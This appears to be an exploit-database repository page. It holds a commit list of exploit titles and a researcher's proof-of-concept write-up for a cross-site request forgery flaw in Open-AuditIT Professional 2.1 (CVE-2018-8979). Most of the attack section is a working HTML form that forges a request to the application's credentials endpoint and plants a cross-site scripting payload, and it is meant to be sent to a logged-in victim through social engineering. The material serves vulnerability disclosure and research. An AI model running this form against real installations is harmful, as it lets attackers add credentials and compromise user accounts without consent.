a13c4ea572
23 changes to exploits/shellcodes SysGauge 4.5.18 - Local Denial of Service Systematic SitAware - NVG Denial of Service Allok AVI DivX MPEG to DVD Converter 2.6.1217 - Buffer Overflow (SEH) Allok Video Joiner 4.6.1217 - Stack-Based Buffer Overflow Allok WMV to AVI MPEG DVD WMV Converter 4.6.1217 - Buffer Overflow Faleemi Windows Desktop Software - (DDNS/IP) Local Buffer Overflow Advantech WebAccess < 8.1 - webvrpcs DrawSrv.dll Path BwBuildPath Stack-Based Buffer Overflow osTicket 1.10 - SQL Injection osTicket 1.10 - SQL Injection (PoC) Open-AuditIT Professional 2.1 - Cross-Site Request Forgery Homematic CCU2 2.29.23 - Arbitrary File Write MiniCMS 1.10 - Cross-Site Request Forgery WordPress Plugin Relevanssi 4.0.4 - Reflected Cross-Site Scripting WordPress Plugin Contact Form 7 to Database Extension 2.10.32 - CSV Injection Homematic CCU2 2.29.23 - Remote Command Execution Joomla! Component Acymailing Starter 5.9.5 - CSV Macro Injection Joomla! Component AcySMS 3.5.0 - CSV Macro Injection WordPress Plugin WP Security Audit Log 3.1.1 - Sensitive Information Disclosure Tenda W308R v2 Wireless Router 5.07.48 - Cookie Session Weakness Remote DNS Change osCommerce 2.3.4.1 - Remote Code Execution Tenda W316R Wireless Router 5.07.50 - Remote DNS Change D-Link DIR-850L Wireless AC1200 Dual Band Gigabit Cloud Router - Authentication Bypass Tenda FH303/A300 Firmware V5.07.68_EN - Remote DNS Change Vtiger CRM 6.3.0 - Authenticated Arbitrary File Upload (Metasploit) Tenda W3002R/A302/w309r Wireless Router V5.07.64_en - Remote DNS Change (PoC)
69 lines
No EOL
2.4 KiB
Text
69 lines
No EOL
2.4 KiB
Text
# Exploit Title: Open-AuditIT Professional 2.1 - Cross-Site Request Forgery (CSRF)
|
||
# Date: 27-03-2018
|
||
# Exploit Author: Nilesh Sapariya
|
||
# Contact: https://twitter.com/nilesh_loganx
|
||
# Website: https://nileshsapariya.blogspot.com
|
||
# Vendor Homepage: https://www.open-audit.org/
|
||
# Software Link : https://www.open-audit.org/downloads.php
|
||
# Version: 2.1
|
||
# CVE : CVE-2018-8979
|
||
# Tested on: Windows 10 Pro
|
||
# Category: Webapp Open-AuditIT Professional 2.1
|
||
|
||
|
||
1. Description:-
|
||
There is no CSRF protection in Open-AuditIT application, with a little help
|
||
of social engineering (like sending a link via email/chat) an attacker may
|
||
force the victim to click on a malicious link by which any normal user can
|
||
become an Admin user. The attack can force an end user to execute unwanted
|
||
actions on a web application in which they're currently authenticated.
|
||
Using this vulnerability, we were able to compromise entire user account
|
||
with chaining this bug with XSS.
|
||
|
||
|
||
|
||
2. Proof of Concept
|
||
Login into Open-AuditIT Professional 2.1
|
||
Step 1 :- Craft a HTML Page with XSS payload
|
||
Step 2:- Save this .html file and send it to victim (Victim should be
|
||
loggedin in the browser)
|
||
Crafted value will be added.
|
||
|
||
|
||
Affected Code:
|
||
<html>
|
||
<body>
|
||
<script>history.pushState('', '', '/')</script>
|
||
<form action="http://localhost/omk/open-audit/credentials"
|
||
method="POST">
|
||
<input type="hidden" name="data[attributes][name]"
|
||
value="<img src=x onerror=alert('hacked');>" />
|
||
<input type="hidden"
|
||
name="data[attributes][org_id]" value="1" />
|
||
<input type="hidden"
|
||
name="data[attributes][description]" value="CSRF" />
|
||
<input type="hidden" name="data[attributes][type]"
|
||
value="ssh" />
|
||
<input type="hidden"
|
||
name="data[attributes][credentials][username]"
|
||
value="test" />
|
||
<input type="hidden"
|
||
name="data[attributes][credentials][password]"
|
||
value="test" />
|
||
<input type="hidden" name="data[type]" value="credentials" />
|
||
<input type="hidden" name="submit" value="" />
|
||
<input type="submit" value="Submit request" />
|
||
</form>
|
||
</body>
|
||
</html>
|
||
|
||
|
||
3] POCs and steps:
|
||
https://nileshsapariya.blogspot.ae/2018/03/csrf-to-xss-open-auditit-professional-21.html
|
||
|
||
|
||
Thanks & Regards,
|
||
Nilesh Sapariya
|
||
Security Researcher
|
||
https://twitter.com/nilesh_loganx
|
||
*https://nileshsapariya.blogspot.in |